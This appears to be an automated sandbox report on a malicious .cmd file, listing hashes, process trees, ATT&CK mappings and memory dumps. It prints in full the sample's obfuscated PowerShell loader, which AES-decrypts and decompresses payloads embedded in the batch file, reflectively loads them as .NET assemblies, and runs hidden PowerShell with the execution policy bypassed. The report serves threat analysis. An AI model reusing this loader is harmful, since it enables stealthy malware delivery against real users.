582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651

General

Target

582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651.cmd
Size

82KB
MD5

8b962a01cb7b585d3308701068180e39
SHA1

56528670260aa0d4b60fbffdc7566a3654112f8d
SHA256

582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651
SHA512

56b5012d96decb4fabef930becdc35593fbc34fcc0bfde36316a07586a2ad9d605b989db87f22ba5c0757aa78417ac7c79afee29a4cd0719aac8306a2ada56e7
SSDEEP

1536:orogwg5pVXbSClWeINO/7lP3zsY8rTVRIJ9KPhv74+bha95O:7SpgeIo/7lP3OWahc+bha95O

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2188 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2188 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2188 powershell.exe

pid	process
2188	powershell.exe

pid	process
2188	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2188	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2360 wrote to memory of 1188	2360	cmd.exe	cmd.exe
PID 2360 wrote to memory of 1188	2360	cmd.exe	cmd.exe
PID 2360 wrote to memory of 1188	2360	cmd.exe	cmd.exe
PID 2360 wrote to memory of 2132	2360	cmd.exe	cmd.exe
PID 2360 wrote to memory of 2132	2360	cmd.exe	cmd.exe
PID 2360 wrote to memory of 2132	2360	cmd.exe	cmd.exe
PID 2360 wrote to memory of 2188	2360	cmd.exe	powershell.exe
PID 2360 wrote to memory of 2188	2360	cmd.exe	powershell.exe
PID 2360 wrote to memory of 2188	2360	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2360

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:1188

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('76J7bEzHtX3VLkuJZ3oCAIh8u4PXgvIrPrnTbE0uYjM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PvXjXUmyPwzlCxyLb5VMvA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WAoSC=New-Object System.IO.MemoryStream(,$param_var); $DqjpG=New-Object System.IO.MemoryStream; $gTgrK=New-Object System.IO.Compression.GZipStream($WAoSC, [IO.Compression.CompressionMode]::Decompress); $gTgrK.CopyTo($DqjpG); $gTgrK.Dispose(); $WAoSC.Dispose(); $DqjpG.Dispose(); $DqjpG.ToArray();}function execute_function($param_var,$param2_var){ $KJzOY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SIuiX=$KJzOY.EntryPoint; $SIuiX.Invoke($null, $param2_var);}$psbhS = 'C:\Users\Admin\AppData\Local\Temp\582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651.cmd';$host.UI.RawUI.WindowTitle = $psbhS;$KrZUn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($psbhS).Split([Environment]::NewLine);foreach ($gGiAE in $KrZUn) { if ($gGiAE.StartsWith('zVnkucItcDIJmveRwHFJ')) { $FQbRn=$gGiAE.Substring(20); break; }}$payloads_var=[string[]]$FQbRn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:2132

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2188

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2188-4-0x000007FEF5DDE000-0x000007FEF5DDF000-memory.dmp

Filesize
4KB

Download
memory/2188-5-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2188-7-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-6-0x0000000002990000-0x0000000002998000-memory.dmp

Filesize
32KB

Download
memory/2188-9-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-8-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-10-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-11-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-12-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-13-0x000007FEF5DDE000-0x000007FEF5DDF000-memory.dmp

Filesize
4KB

Download

Analysis

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